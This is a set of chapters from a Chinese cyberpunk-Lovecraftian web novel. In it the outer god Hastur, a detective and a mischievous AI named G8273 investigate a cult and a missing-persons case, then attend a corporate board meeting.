他缩回头,摸出口袋里的车钥匙。正要按下按钮,让哈斯塔感受一下他新车响亮强劲的车笛——就听院外的车先他一步鸣了两声笛。
达斯汀:“?”
一朝被蛇咬,十年怕井绳,新车瞬间不香了。
达斯汀硬是从周边搜刮来一辆有后座的自行车,在哈斯塔难以置信的注目中跨上前座,转身拍拍后座:“我骑,累不着你。”
哈斯塔不由地再瞥了眼一旁体面的、崭新的巡逻车。
是坐上很可能有敌人存在的巡逻车,还是坐上丢脸失态的自行车后座,这是个问题。
哈斯塔二选一选择C,黄袍敲了敲巡逻车前车盖:“滚。”
巡逻车不为所动,只有后侧车门缓缓打开,像一位沉稳的绅士,发出含蓄的邀请。
一旁的达斯汀发出了一声痛苦的呻.吟,显然是难以接受自己新提的车还没开热乎,就沦陷敌手,必须报废了。
哈斯塔则在短暂的困惑思索后,转头看向为车痛苦的达斯汀:
“乔伊街有什么特殊之处?G8273真想见老尼尔,应该是随时随地的事,根本不需要特地跑来骚扰我们。”
巡逻车又懒洋洋地鸣了一声笛,似乎在对“骚扰”这一不雅用词表示抗议。
达斯汀抱头哀嚎了一句“好好的署里为什么要给这车改装智能系统?为什么不提前告诉我!”,郁卒地抬头解释:
“很多中间人藏身在乔伊街,你知道的,就是那种给抢劫、盗窃之类的大活儿牵线搭桥的人。他们可不希望自己的生意被黑客窃听……所以乔伊街很多地方都是信号封锁区,老尼尔也是看中了这个,才特意跑到乔伊街给下属做手术。”
哈斯塔了然,又看向仍敞着车门暗示邀请的巡逻车:“所以你想让我们把你捎进去?”
他慢条斯理地叩了叩巡逻车盖,就像高位者轻佻地拍拍求助者的脸蛋:“你能给我什么好处?”
14. 第 14 章
在场的唯一一个人类为自己的歪者见歪而忏悔,因为下一秒,看似调情的哈斯塔就一挥精神触须,一鞭干爆了巡逻车的电气系统,引起达斯汀一阵高音惨叫:“啊!!!我还以为你们聊得很开心!!”
哈斯塔奇怪地看了达斯汀一眼:“什么时候?我刚刚还在嘲讽。”
“??”达斯汀扑到他前盖塌陷的新车上,颅内开始疯狂地过“打报告的一百个技巧”“如何让上司接受当天配车,当天车毁的现实”,“你们非人类都把嘲讽开得像撩闲?”
哈斯塔认为人类的思想真的太污糟了,非人类的世界里就没有调情这种东西。他们只会为了繁衍而□□,目的清晰,过程明了,和公事公办没什么区别:
“我不坐自行车。后院有几辆老款家用车,鹰帮留下的,你可以去挑一辆开出来。”
哈斯塔的话语简洁有力,像极了教官下达的军令。
达斯汀下意识地起身往后院走,走出一节后才忽然想起了什么:“——鹰帮!”
他醍醐灌顶:“之前我问你他们都去哪了,你说不知道——你是真不知道,还是已经……把他们都处理掉了?”
哈斯塔回以一个含蓄的敦促姿势。
·
干爆巡逻车能不能让G8273知难而退?显然不能。
跨上公路以后,哈斯塔就开始感受到某AI无处不在的存在感:
路过的红绿灯会变;路过的广告牌会变;甚至于路边的行人也会在某一刻忽然像猫头鹰般齐刷刷转头,瞪着绿眼珠子看过来。
最开始,达斯汀还会崩溃咒骂,后来发觉G8273并没有攻击的打算,他的反应就逐渐麻木了起来,甚至开始在广告牌前主动放缓速度……
“它现在在介绍蛋黄水母的繁殖习性。”达斯汀指着一块广告牌陈述,“这算是一种性.骚扰吗?”
哈斯塔没感觉出这两件事间的关联。
首先,那纪录片也不是一上来就放繁殖习性的。其次,就像人类与猫咪毫无关联一样,他和蛋黄水母也没有任何联系。
他最多就是在这种密不透风的注视下感到烦躁:“想干架就干架,搞这些不痛不痒的幺蛾子做什么?”
哈斯塔摇下了车窗。
一团黑炭似的毛团立即从车窗缝里挤了进来,爪垫踩着哈斯塔的黄袍,懒懒地趴下来团成一块猫饼:
“你我都心知肚明,现在动手不会有好结果,何必说这种气话?不如接着你之前的提议谈谈——比如,带我一起去见老尼尔,我能给出什么好处。”
仿生猫猫的耳朵一弹,在头顶上方投出一道立体影像,内容居然是几日前哈斯塔闯入手术室,转变伊塔库亚的经过:“你制造了一名眷族。”
“是养子。”哈斯塔将黄袍上的猫抖落下地,对这种活人气过强的工业猫猫谨谢不敏,“所以呢,你想用这段监控做什么?送去警署,让人类来围剿怪物?”
“我可没打算让人类去孤儿院送死。”
黑猫主打一个随遇而安,舔舔嘴揣着前爪就地趴下,几乎和黑暗融为一体:
“我只是在监控里听到了你对那个孩子的允诺,推测你可能需要我的帮助——昨晚你曾从我身上拆下过一段受过污染的代码,我能用它替视频里的孩子拟造出一具人类驱壳。”
他举起前爪,当着哈斯塔的面,删除了黑医诊所的监控:“所以,如果对我提出的交易筹码和诚意满意,不如暂且合作?”
达斯汀警探从后视镜飞快地投来一瞥。
“?”哈斯塔看了回去,“怎么?”
“嗯——”达斯汀警探露出“这个问题该怎么跟你们非人类解释”的纠结表情,“就……一般来说,我们人类的情绪转折不会这么快?我们通常不会和前一晚才差点杀死自己的敌人合作?”
两个非人类不约而同地顿了几秒,面带思索。
G8273若有所思:“我很确定,人类的多部电影中都存在前一秒敌人,后一秒亲密无间的情况。”
哈斯塔感到困惑:“人类真的不会吗?”
明明公司里经常出现前一天互相陷害,后一天为了利益勾肩搭背、哥俩好的情况。
“……”达斯汀有被噎住,“正、正经人当然不会!”
他恼羞成怒地一锤方向盘:“还有,少看点爆米花电影!”
·
乔伊街虽说是‘街’,但其实是和凤凰区一样的独立城区。
它以乔伊主街为中心,向四周发展出繁荣的商业和交通。
大量的酒吧、平价商店和低档脱衣舞俱乐部聚集在此处,成为中间人布局织网、藏身筑巢的最佳地点。
“老尼尔是从一个叫——‘贾斯卡·琼斯’的中间人手里租的地盘。”
达斯汀看着短信和地图,很快带着哈斯塔进入一个地下通道:“他说只要价格给的‘合理’,琼斯甚至能为他提供完整的医疗团队——没植入过脑芯的那种。”
这一番折腾可谓煞费苦心,可惜哈斯塔和G8273一勾结,所有的预防措施,包括花出去的钱,都成了白用功。
不过达斯汀也不会为老尼尔感到心疼,毕竟没有哪个警察会替黑.帮心疼钱,他救老尼尔是为了查案,又不是为了真爱。
他们无比顺畅地路过大量负责看守的黑衣保镖,期间倒是有人看着猫面露怀疑,想上前盘问,但仍穿着全套无菌防护服的老尼尔匆匆赶来,将这些人统统呵斥了回去:
“你们知道自己在质疑谁吗!?”
“且不论这位大人的身份,祂和我要防的AI是死敌,祂怎么可能帮死敌潜入这里?”
“够了!这点事,我心里还没数吗?!”
达斯汀:“……”
万一就是没数呢?
警探先生颇有点一言难尽,但也不可能在这种时候露马脚,只在进入单独的办公室后,板着一张正经脸看向明显更适合问话的哈斯塔——
哈斯塔在撸猫。
猫很温暖,很柔软,窝在怀里浅浅地起伏,像世上最迷你的深渊正在呼吸。
他掀起黄色的袍角从黑猫的背脊抚向尾梢,带起一串舒适的呼噜声,就像本该危险的深渊在他掌下驯服,令哈斯塔的精神感到满足。
一旁的达斯汀:“…………咳!咳!!”
哈斯塔终于回神,看向正激动且拘谨地絮叨自己的信仰,因没脱防护服,声音有些含糊沉闷的老尼尔:“我要知道关于摇篮教的一切信息。”
达斯汀点头补充:“尤其是摇篮教和失踪案的联系。”
“……”老尼尔止住话头,“我无法确定失踪案和摇篮教有没有关系,只能把自己接触摇篮教的过程说给诸位听。”
“有关或无关,交由诸位自行判断。”
哈斯塔怀里的深渊动了动,猫脑袋转向老尼尔。
老尼尔垂下头颅,神情因防护服的遮挡看不清晰,只有传出的声音低沉而平静,像在进行一场自我宣判或告解:
“我开始接触摇篮教,是在三年之前。”
“那一年其实也没有发生什么特别的事,只是某天我在处决一对不慎撞破帮派机密的普通夫妻后,看着台阶上的雪被血染红,忽然产生一种可笑的忏悔感。”
忏悔本身并不可笑,可笑的是他这个忏悔的人。
一个满手鲜血的刽子手忽然对自己的罪行忏悔,这和鳄鱼流眼泪有什么区别?
“所以我走进了教堂。在那栋光明的建筑里呆了一个下午,又什么告解词都没说地走出来。”
教堂那个光明、上帝所在之地,完全不适合他这种明知自己罪孽深重、不可原谅,却还想寻找内心平静的罪人。
“我浸在黑暗中太久,就算在老死前要信仰什么,那大概也只能是同在黑暗中的神明。”
“而恰好,摇篮教所信仰的就是这样一群神明。”
哈斯塔集中精神,感觉老尼尔要说到正餐了。
黑猫依旧懒散地窝在他身上,只忽然用长长的绒尾卷了一下他的精神触须。
“……”哈斯塔当场把猫丢到了地上!内心的声音更是震大惊:
*他在干什么??为什么要用尾巴勾你的精神触须??这跟不战斗的时候亲吻敌人的武器有什么区别?*
老尼尔都被哈斯塔这突然摔猫的动作惊了一下,困惑地抬起头:“请问……是有什么不妥的地方吗?”
哈斯塔感觉不妥大发了,但被他丢下地面的黑猫只是在哪被丢下,就在哪揣着猫爪老神在在地趴下,只有那条越界的尾巴还在缓慢地舞动着,黑曼蛇一样精准缠住哈斯塔的一根精神触须。
这次哈斯塔看得更清楚:在他的黄袍之下,无数精神触须正因他之前高度集中的注意力而溢散出精神污染。
当那条黑色的猫尾卷上某一条精神触须时,那些外溢的精神污染,又被G8273的力量强行改写为无害而规律的细小振动。
“……”原本炸开的触须缓缓放松,确定敌人不是在搞什么不和谐骚扰的哈斯塔重新坐回原处,“问题解决了,你继续。”
尴尬是不可能尴尬的,绝大多数非人类都没有尴尬这种情绪。
他抽回自己的精神触须,用黄袍阻隔住外溢的精神污染,接着听老尼尔回忆。
“……”老尼尔惊疑不定地看了好几眼哈斯塔和黑猫,硬着头皮接着道,“那天也是巧合,我刚从教堂出来,就撞见正在宣扬教义的摇篮教牧师。”
“他们说,他们的神殿内没有善恶、没有忏悔,有的只是缄默。”
“所有的混乱和秩序,都将在阿撒托斯的摇篮中变成一个不醒的梦。”
达斯汀尝试理解:“所以,信仰这个摇篮教,最终能获得不醒的睡眠……?”
这也太怪了!谁会被这种教义打动?
信仰上帝能上天堂,信仰佛祖能去西天,信仰摇篮教……能陷入睡不醒的梦?
也就周一早上的社畜可能会短暂地信一下这个。
老尼尔耸耸肩:“永坠不醒之梦——听起来不像是得到解脱,对吗?”
“对于我这种人来说,倒是恰到好处。通过自我折磨以换取内心安稳……”
“我所需要的,大概就是这种知道自己不会被宽恕,所有罪孽无法赎清,人生终将走向一个无底深渊的感觉。”
哈斯塔并不在意老尼尔如何理解摇篮教教义,他只想知道更多关于神明的信息:“你接着往下讲。”
老尼尔顺从地道:“所以我就跟随他们,进入了缄默神殿——也就是摇篮教自己的教堂。”
他偏过头,似乎陷入了一段还算不错的回忆:
“那座神殿极其华美,形如贝壳。贝壳里没有光明,所有门窗都被封死。”
“一切都浸在一片昏暗中,有不规则的噪音持续性地低鸣,满地都是瘾君子、流浪汉——他们睡得很沉,呼噜声也成了噪音的一部分。”
他笑了一下:“那
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时候的我忽然就被触动了,感觉这片昏暗的教堂或许就是我的归宿。”
“就像牧师说的——‘所有的混乱和秩序,都将在阿撒托斯的摇篮中变成一个不醒的梦。’”
“这都是真的,收留瘾君子、流浪汉什么的。”达斯汀凑到哈斯塔身边低语,“我之前有段时期对摇篮教的好感很高,就是因为他们建造了那么华贵的教堂,却依旧允许脏兮兮的穷人进入神殿,在神殿里休息……”
老尼尔点点头:“摇篮教也没有那么急切想发展教众,恰恰相反,它对于教众的入会审核、提拔标准,都定得极其严格。”
“所以,我完全可以简单粗暴地将目前构成摇篮教的正式教众,划分为两类人——”
“第一类,根本没有任何信仰。钻尖了脑袋想混个高位,好借着摇篮教大肆敛财。”
“另一类,是绝对虔诚的笃信者。他们会严苛地遵从教内的所有规定,定时举办仪式,相信古神的确存在,每隔一段时间向教会供奉大量的金钱。”
“大量?”兜里只剩5万块的哈斯塔顿时敏感。
达斯汀一时没反应过来哈斯塔在敏感什么:“摇篮教的神殿那么奢贵,总得有充足的建设资金吧——噢。”
他想起哈斯塔为了凑钱,大晚上的坐吉普车,和芬尼安跑去杀通缉犯,就为了能搜刮小金库,连警署那一星半点的悬赏金都不放过。
达斯汀:“……”
摇篮教知道他们把神殿修得那么富丽堂皇,但他们信仰的神明还得为了十来万块钱熬夜打悬赏吗?
哈斯塔比达斯汀更心梗,毕竟他才是贫穷的神明本人。
但让他张口对信徒说“没钱了,给点儿花花”,那是绝不可能发生的事,于是沉默片刻,哈斯塔只是询问:“这些和失踪案有什么关系?”
“我也不知道有没有关系,我只能将我所知道的都说出来。”
老尼尔顿了一下,他其实不太明白为什么古神会在意这么个失踪案。会庇护小警探——甚至还会坐吉普车的哈斯塔似乎和摇篮教描绘的形象不太一样。
但出于尊敬,他还是道:
“失踪案的动机,无外乎就是金钱。我认为可以从教会中那些一心钻研,只为了更好骗钱的人身上着手。比如——”
老尼尔从胸前口袋中摸出一张邀请函:“柯兰·多米诺。”
“他是我目前所能接触到的,地位最高的牧师。”
“相信我的眼力,他那么积极地主持各种祭祀仪式,绝对不是出于虔诚,他有一双看见珠宝就挪不开的贪婪眼睛。”
“……”哈斯塔和达斯汀同时陷入沉默。
就老尼尔之前那个“这点事,我心里还没数吗”的眼力,他们确实是有点不太敢相信。
但好在系统及时给哈斯塔喂了一颗定心丸:
【任务:银舌头·一(已完成)】
【任务奖励:自由点+5】
【任务:银舌头·二(进行中)】
【柯兰·多米诺正在洛文德区举办一场膜拜黄衣之王的仪式,猜猜看是谁没被邀请?——是哈斯塔本尊哦!
及时抵达仪式现场,并夺回主权!(可选做)
审问柯兰·多米诺有关失踪案的详情】
没接触过美式霸凌,但莫名感觉任务描述欠嗖嗖的哈斯塔:“……?”
达斯汀凑过来看着邀请函:“下午3:30,洛文德区……3:30??洛文德区??”
他不由自主地吊高了嗓门:“现在都几点了!2:50!洛文德区和乔伊街中间隔着——隔着少说15个小时的路程,这怎么来得及赶上仪式?”
他还在焦虑赶路的问题,哈斯塔则敏锐地捕捉到微妙之处:“下午三点半?他在这种时候举行膜拜我的仪式?”
你没事吧小老弟,大白天的祭祀邪神?这和中午十二点去扒僵尸的棺材,要求僵尸出来在太阳下显个灵有啥区别?
黑猫不知何时站了起来,黑曼蛇似的长尾再次撩拨过哈斯塔的精神触须,像是一种暗示。
“……”哈斯塔终于忍无可忍。
他调出游戏界面,时停眼前的一切,然后一把将承载于黑猫中的AI强行拖了出来!
AI在精神污染的影响下渐渐凝出半个虚影。
大约是因为来的并不是他的全部,他的身后虚化为黑绿色的烟雾,像冥河水母巨大的薄纱,缓慢而安静地在风中浮动。
不过现在,那些象征着分体与本体连接处的巨大薄纱,被十数根精神触须紧紧交缠、束缚,就像哈斯塔箍住了G8273的脖颈:“停止,触碰,精神触须。”
“为什么?”G8273被抵在地面上,依旧没什么危机感的样子,只饶有兴致地求知,“从进地下室开始,你就一直在摸猫,为什么猫不能反过来摸你?”
“因为精神触须是真实的我,黑猫只是一具虚假的躯壳。”哈斯塔俯身逼近G8273被污染出的虚影轮廓,其中一根精神触须倏然捅进了虚影的胸膛!
一串核心代码的片段,收束在胸腔中那颗半透明的心脏内,随着搏动闪烁不定。
“……”G8273的唇角在哈斯塔的精神触手缠上那颗心脏的瞬间垂了下去,绿色的瞳孔中投来的目光变得凶而冷厉。
哈斯塔慢慢撩动着那条包围着“心脏”的触手,冷而坚硬的骨质面具近乎触碰到G8273高挺的鼻梁轮廓:
“喜欢吗?被这样触摸?”
15.第 15 章
G8273明显不喜欢。
攥住一个AI的核心代码,显然比抓住随时可以斩断的精神触须更加过界,下一秒哈斯塔就被攥住袍领,狠狠掀翻在地,昨晚才体验过一回的血肉滋生感自被攥紧的袍领,蔓延向身躯四处。
在地面上纠缠翻滚,不论是对于AI来说,还是对于外神来说,都是相当丢脸失态的事。
唯一阻止他们没有更进一步发起攻击,仅仅只是迫使对方受困于肉.体的理由,是双方谁都没打算重蹈昨夜的覆辙,毫无意义地和敌人一起同归于尽。
G8273注视着哈斯塔,将那段插.入他胸膛的触须用力拔.出,因污染而凝实的鼻尖擦过苍白的骨制面具,竟让哈斯塔感到冰凉的触感,仿佛面具仅是他的一层皮肤:
“没有哪本书上记载,哈斯塔拥有掌控时间的能力。”
他甚至再次伏低了身体,那双充斥着科技与秩序感的光学绿瞳,近乎与哈斯塔瞳纹混乱的泥黄色双眼贴合:
“你是否会因此感到可惜?停滞不了我的时间。”
哈斯塔感觉自己像被夹在两堵坚硬的墙之间,能让防御值高到要用整体钨钢锯片才能切开皮肤的他感到压迫感,肯定不会是体重的作用,G8273必然直接设定了自己在空间中的坐标:
“也没有哪本书上记载,智能AI还有精准读心的能力?”
这是没有意义的僵持,双方很快各自退开。
哈斯塔关闭游戏面板,达斯汀就在时间正常流动后接着之前的对话说:“我们可能得单独谈谈怎么过……***!你怎么又实体化了?——G8273???”
对于哈斯塔来说,他的实体化和G8273的存在都顺理成章,但对于其他被时停的人来说,这就是大变活人。
达斯汀警探和老尼尔同时震惊瞠目,然而G8273的逻辑功能里显然没有“照顾他人情绪”这一条,他直接捞起脚边的仿生猫咪,大步走向地下室外。
“不……怎……”老尼尔语无伦次。
达斯汀迅速反应过来,赶紧几步追上去:“等等,你要去哪?不和我们一起去洛文德区参加仪式吗?”
“我的核心原则是保护人类不受外部入侵的干扰,不包括插手人类内斗。”G8273的脚步停下几秒,“既然那位柯兰·多米诺先生并不真打算召唤邪神,那么不论他想做什么,我都没有义务插手。”
他转回身,礼貌地冲着众人点头示意,就头也不回地走出地下室。
达斯汀警探茫然地瞪视出口三秒,转头纳闷地询问哈斯塔:“怎么回事?我以为刚刚他拿尾巴撩你,是打算帮咱们搞定交通工具,让咱们跟他走的意思,怎么眨眼就不高兴了?”
哈斯塔无法理解人类某些多余的共情心理:“一台电脑会有‘不高兴’这种心理功能?”
“你——”达斯汀警探有话说不出来,实在不知道该怎么指责一个非人类怎么没有一点人情味。
老尼尔就不一样了。
老尼尔觉得没有人情味的是站在他面前的所有人:
所以——在昨晚打成那样——漫天砸血雨肉块之后,外神还真揣着敌人变成的猫,帮敌人潜入信号屏蔽区了??
不是——啊??
匪夷所思之余,他感觉自己的脸被打得啪啪响。之前有多自信满满“这点事,我心里还没数吗?”,现在脸就有多痛。
遗憾的是,他所信仰的神明并不是上帝那一挂或许会安抚信徒的友善神明。窒息似的深呼吸了几口气后,老尼尔辛酸地独立调理好了自己:
“距离仪式正式举行,只有不到半个小时的时间。要想及时赶过去,除非能立即借到一架梅林。”
“但这款湖中仙女系列的飞行器,巴比伦公司只产出了七架,全部售卖给了私人或者政府。要想临时租借,即便以我的人脉,也没法在半小时内搞到一架来。”
“好极了,现在怎么办?我打个电话问问警署?”达斯汀警探不抱希望地说。
“不需要。”
哈斯塔展开实体化的深褐色触手,拎小猫一样拎起达斯汀警探,简洁明了地道:“我们不会迟到。”
他打开游戏界面,再次停滞住时间。
大量的精神力包裹在达斯汀警探周围,在哈斯塔专注而精确的操纵下,成为一颗庇护达斯汀,又不至于触及达斯汀的“茧”。
“……”达斯汀虽然看不见周围“茧”,但能看见周围被静止的一切。
他盯着一动不动的老尼尔咽了下口水,果断专注正事:“——我去开车。”
·
达斯汀在办案时思想并不教条,出门就直接“紧急征用”了一辆路边的悬浮车。
这个决定相当明智,在跨越几十来条拥挤路段后,他们终于抵达了洛文德区。
“看那边的薰衣草田!”
达斯汀警探兴奋的声音将哈斯塔的睡意驱散些许。
他抬头看向车前窗外,在达斯汀警探所指的方向看见一片广阔的、深深浅浅的紫色海洋。
“是不是很美?”灰发警探发出一声喟叹,“我以前只在照片上看过这片花海。”
哈斯塔盯着下方花田中的独栋别墅:“这里是富人区?”
“中档富人区。”达斯汀纠正,“真正的公司高层,那些大银行家,都住在更北边的努里区里。”
“更北?”哈斯塔看向车窗内壁上凝结的水雾,“不会太冷吗?”
“认真的?你在担心富人会不会受冻吹风?”达斯汀开始向下降落,“看看下面的薰衣草田吧,在那么多人吃不饱穿不暖,为了活命不得不‘捐献’器官的时候,这些有钱人还有闲情雅致维护这么一大片薰衣草田,让它们在寒风中依旧保持开放。”
达斯汀将车稳稳地停在下方的港口,推门下车,替哈斯塔打开车门并微笑:“我相信他们有这份闲钱和舍得花钱的心,即便室外冰封三尺,他们也能过得比那些薰衣草田更滋润。”
哈斯塔认同达斯汀警探的看法,坐在车上又等了片刻,直到实体化的精神触须重归于无形,才拢起黄袍缓缓飘下车厢。
有系统的帮助(被迫的),他们抵达集会地点的时间算得上早。
绝大多数客人仍站在码头边社交,一部分人聚在一辆私人游轮前交头接耳:
“我从没听过有谁会把膜拜哈斯塔的仪式定在白天的!还是在游轮上!柯兰到底想搞什么名堂?”
“哦,我问过水手这件事了。他们说,柯兰准备举办一场盛大的,崇拜哈斯塔的宴会,以上演《黄衣之王》的剧本开始,再以柯兰的供奉为终。”
“供奉?什么供奉?他总不能真给哈斯塔准备两百多个人脑吧?那是——那是非法的!摇篮教只是信仰的神明古怪了点,但从不做非法的事!”
“放宽心,朋友。他只是想将泊尔湖——还有湖上这艘游轮,以及自己的全部身家供奉给哈斯塔,以展现自己的虔诚。”
哈斯塔:“……”
将……什么?
刚停车回来的达斯汀也惊呆了:“泊尔湖?你们是说,洛文德区内*唯一*的那片湖泊??我记得那片湖泊好像属于政府?”
“三天前就不是了。”转身回答他的是一个穿黄色长袍,戴白色面具的男人——这大概是黄衣之王的信徒的统一打扮,因为他身边的客人,没有一个向他投去奇怪的注视,并且除了这人以外,甲板上还有几人也穿着相同的服饰:
“柯兰从政府手里买下了它。”
哈斯塔紧跟着追问:“怎么供奉?”
——他能真拿到不?
海风将哈斯塔声音的怪异之处卷得有些模糊,黄袍男没有因此注意到面前之“人”的不对劲,依旧用兴高采烈的语气友善地回答:
“通过——签署转让合同?”
“按照水手向我说明的流程,柯兰会在《黄衣之王》的戏剧表演结束后登台,在所有来宾面前,签署泊尔湖、游轮,还有自己全部身价的转让合同——”
“哦哦!还有,他会在签订合同前,先完
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成泊尔湖的更名仪式,将其更名为‘哈利之湖’。”
“你知道哈利之湖的对吧?就是伟大的黄衣之主,哈斯塔栖身的那片黑色湖泊?”
*——所以它叫这个。*
内心的声音冷不丁冒出来,低沉中藏着更深的情绪:
*哈利之湖……*
哈斯塔很难和内心的声音一起多愁善感,他现在满脑子想的都是:那些财产真会转让给我?
哈利之湖——这个他不打算卖,但游轮,全部身家,这些加在一起有没有3500万?够不够他改建个最高档的独立学校?
“呜——”
游轮响起了长长的笛鸣。几名肌肉结实,几乎将胸口的制服撑爆的水手从游轮侧面的扶梯上下来,站立在扶梯入口两侧:“请出示邀请函,依次登船。”
“……等等,我感觉这事儿不对。”达斯汀一把抓住哈斯塔的黄袍,眼睛紧盯着那几名水手,“看到他们站立的姿势了吗?要么是职业的雇佣保镖,要么是从战场上退下来的老兵。一个邪——一个膜拜仪式,为什么要请这种人打扮成水手?”
“?”哈斯塔将达斯汀的手腕拎了下去,“你没听他们说,今天的宴会是为我举办的吗?还有供奉。”
管他有什么阴谋,从他登上游轮起,这就是为他准备的狂欢,这就是为他举行的供奉。
哈斯塔带着未来主人翁的心态飘向扶梯入口,达斯汀不得不任劳任怨地追上去,将老尼尔的邀请函递给水手,感觉自己像个带少爷出门的老妈子。
“……”水手低头看看邀请函,又瞥向哈斯塔和达斯汀,“我们不接受和邀请函描述不符的——”
水手蓦然僵住。一道绿色的流光从他眼底闪过。
下一瞬,他动作流畅地递还邀请函,为哈斯塔让开道路:“欢迎客人登船。”
“……”这绿哇哇的眼睛,这一点听不出真心的散漫欢迎。
时间瞬间停滞。
哈斯塔从水手故意捏紧的手中,一寸寸硬抽出邀请函:“我以为你没有出尔反尔的恶习。”
“确实没有。”水手拽住邀请函,将哈斯塔拉近几分,“我只是出于谨慎,在离开后查了下柯兰·多米诺,得知这位先生打算在今晚,将全部资产转移给黄衣之王哈斯塔。”
哈斯塔微微用力,将邀请函的最后一寸扯出水手手中:“合法合规,有什么问题?”
“如果一切进行顺利,当然没有问题。黄衣之王得到供奉,柯兰证明自己的虔诚,皆大欢喜。”
G8273操纵着水手挑起眉宇:“但如果不顺利呢?没有得到供奉的黄衣之王,是否会采取一些‘必要’手段,确保自己仍能获得这些祭品?”
“……”哈斯塔不能说自己没想过这个念头,倒不如说他就是怀揣着这个念头登船的,“所以你指望我会因为你在而退让?”
危险的气息在静止的时空中蔓延。
“……”站在他们身后的达斯汀左看看,右看看,绝望地发现整个世界能劝架的似乎只有他一个人。
他麻木了几秒,不得不硬着头皮介入酝酿风暴的中心区:
“不如大家都各退一步,怎么样?”
“比如,我们用人类的手段,确保今晚的资产能够顺利转移?这样两位的诉求都能得到满足,大家也不用打起来,对吧?”
警探先生的眼神称得上恳求了。
哈斯塔和G8273对视一眼,同时说了句成交。
时间重新恢复流转。
哈斯塔向上飘了几步,忽然回首一把攥住水手的衣领。
“?”G8273还没走,此时因哈斯塔的动作而面露惊讶。
哈斯塔将人拽近:“你有没有想过,像你这样的AI,对于人类来说也是一种‘外来入侵’?”
“……”G8273高高扬起眉梢,半响看着哈斯塔哼笑了一声,温凉的气流扑散在面具之上,分不清是嗤之以鼻,还是感到有趣:
“所以,你在建议我和你殉情?”
40-50
第41章 第 41 章 突然介绍自己的专业特长……
哈斯塔没开过董事会, 哈斯塔很好奇。
但从电话里听说这个消息的芬尼安就不是很好奇了,他甚至在听哈斯塔表达完“我会站在你身边”的支持后深呼吸了一口气。
即便半分钟前自己还在因为“老汉克即将出狱”而愤怒,芬尼安也要冷静下来劝说:
“和我一起?这就不用了吧?董事会那群人的嘴脸丑恶得很, 我怕你会开到一半想要灭世。”
“我不会,”哈斯塔认真澄清, “至少我不会伤害你和孤儿院的人。”
芬尼安:“……”
……你还真有这个打算啊??
他尝试引导思想相当暴力的蛋黄水母:“但在孤儿院之外, 也许还有其他有趣的人?其他像我和达斯汀、阿道夫这样的人?还有那些无辜的孩子——想想凯西,想想还在帮我们……咳,帮她父亲做报表的阿尔法。”
“我们都是你一个一个捡回来的,假如你直接灭世,那孤儿院外……可能还有无数个小芬尼安小达斯汀, 他们都被会杀死, 你想象一下,那不可惜吗?”
哈斯塔顿时想起自己还没被点亮的两个隐藏角色图鉴:“你说得对。那不灭世。”
他顿了顿,又试探地伸伸触须:“那灭一屋——”
芬尼安:“不。”
哈斯塔感到遗憾, 挂断电话后向G8273抱怨:“如果不允许使用暴力,那董事会还有什么意思?”
此时此刻,他们乘坐的悬浮车正自动驾驶向巴比伦公司总部。
“……”一旁坐着的纳西尔原本正抓紧向G8273和芬尼安传送资料, 闻言不由地缓缓抬头, “董事会本来就是一件没意思、令人作呕、浪费生命的事。”
“听起来是G会喜欢的类型。”哈斯塔客观评价, 迎着纳西尔震惊的眼神坦然回视, “你可以向他核实。”
纳西尔立即把“不是吧, 被这么说你都不生气”的眼神投向G8273。
然而他今天注定失望,毕竟G8273作为AI,最擅长、且喜爱做的事,就是将混乱重归整齐,他最多百无聊赖地转着钢笔澄清一句:
“我并不认为董事会没意思、令人作呕, 虽然它有时候的确会无端浪费时间,就像任何正常的娱乐消遣。”
“……??”纳西尔看疯子的眼神,顿时从哈斯塔转移到了G8273身上。
对比产生高下,相比较把董事会比作“正常的娱乐消遣”,他觉得院长先生的“想在董事会上使用暴力”正常多了,毕竟谁不想呢?
他决定不再思考“解决一会的董事会”以外的问题,包括“兰瑟说的后续都听芬尼安的,芬尼安会指定新合作者是什么意思”、“兰瑟不打算争权了?要完全让全给芬尼安?”以及“院长先生怎么换了张脸,之前难道是易容”:
“先生们,我们到总部了。”
悬浮车渐渐降落。
身处黑夜的高佩街办公大楼不再制造恼人的光污染,却多了无数双被迫彻夜不眠的眼睛。每一只眼睛里框着一到数十个加班人,人口密度取决于职位高低。
哈斯塔在下车后仰头张望了一下,只觉四周亮满眼睛、似乎看不到顶楼的写字楼大厦像极了诺利·钱宁小说里会描述的那种“克”系怪物。
——当然了,谁说职场不是一个无可名状的、凡人无法反抗的克苏鲁世界呢?
他跟在G8273身后走进巴比伦公司总部,在门口遇上限时皮肤版·芬尼安——特指芬尼安今天居然没穿他的白T配机车服,而是穿了一身西装。
三四个同样穿着考究的中年人围聚在芬尼安身边,哈斯塔能清晰认出芬尼安脸上的不耐表情已经濒临“烦死了,动手”。
但当下一秒,芬尼安透着火气的目光在不经意间扫过来时,那种濒临爆发的“烦死了”表情瞬间变成了“艹!世界药丸!”的大惊失色。
芬尼安一秒冷静,抬臂强行分拨开人群,大步走过来:“我不是说不用特意来陪我?”
哈斯塔坚持:“这种艰难的时刻,我希望我站在你的身边。”
芬尼安不是很好说现在谁更艰难,是自己,还是随时可能翘辫子的地球:“但董事会不能随便带亲友进门,G……兰瑟!你知道规矩!”
这还没开会,他就已经出了一身薄汗。
G8273很靠谱地代为证实:“是有这么一说。包括我,因为老文森特的所有权来得不清白,这次的董事会我也无权参加。也许我们可以在会议厅外等候?”
芬尼安顿时大松了一口气,用恳切的目光看着哈斯塔:“你愿意在会议厅外等我吗?院长?”
“……”之前和芬尼安搭话的那拨人不由地投来诧异的目光,仿佛想看清楚能让之前还爱答不理摆臭脸的卢西亚诺·哈代如此好声好气说话的人是谁。
哈斯塔向来对自己养的人类持有溺爱的态度:“有需要就喊我一声。隔着隔音墙,我也能听到。”
“……”芬尼安开始觉得坐在会议厅外也不保险了,他更想把院长打晕送回孤儿院,可惜他做不到。
偏偏这种时候还有无知的蠢货主动凑上来,看看他又看看院长,仿佛抓到了他的什么弱点似的,对着院长露出一张菊花脸微笑:
“你是小卢西的好友?哦我想董事会的规定也没有那么严格,尤其是对我们失踪九年终于回来的小哈代先生。我想我们可以做出一些让步——比如邀请您和小哈代先生一起进入会议厅?”
芬尼安:……@¥@#!
***的,他在努力拯救世界,你在这儿拖什么后腿?
·
不论芬尼安内心如何绝望,反正哈斯塔是如愿以偿,成功进入会议厅了。
会议很快开始,坐在首位的主持者慢条斯理地调整了下麦克风:
“很惊喜在今天的*巴比伦公司内部董事会*上看见*政府议员*以及来自*米迦勒之翼制药集团*的代表。”
开口就是火药味,芬尼安悄悄在会议桌下双指交叉,祈祷这群人能文明出招。
当然,这纯粹是妄想。
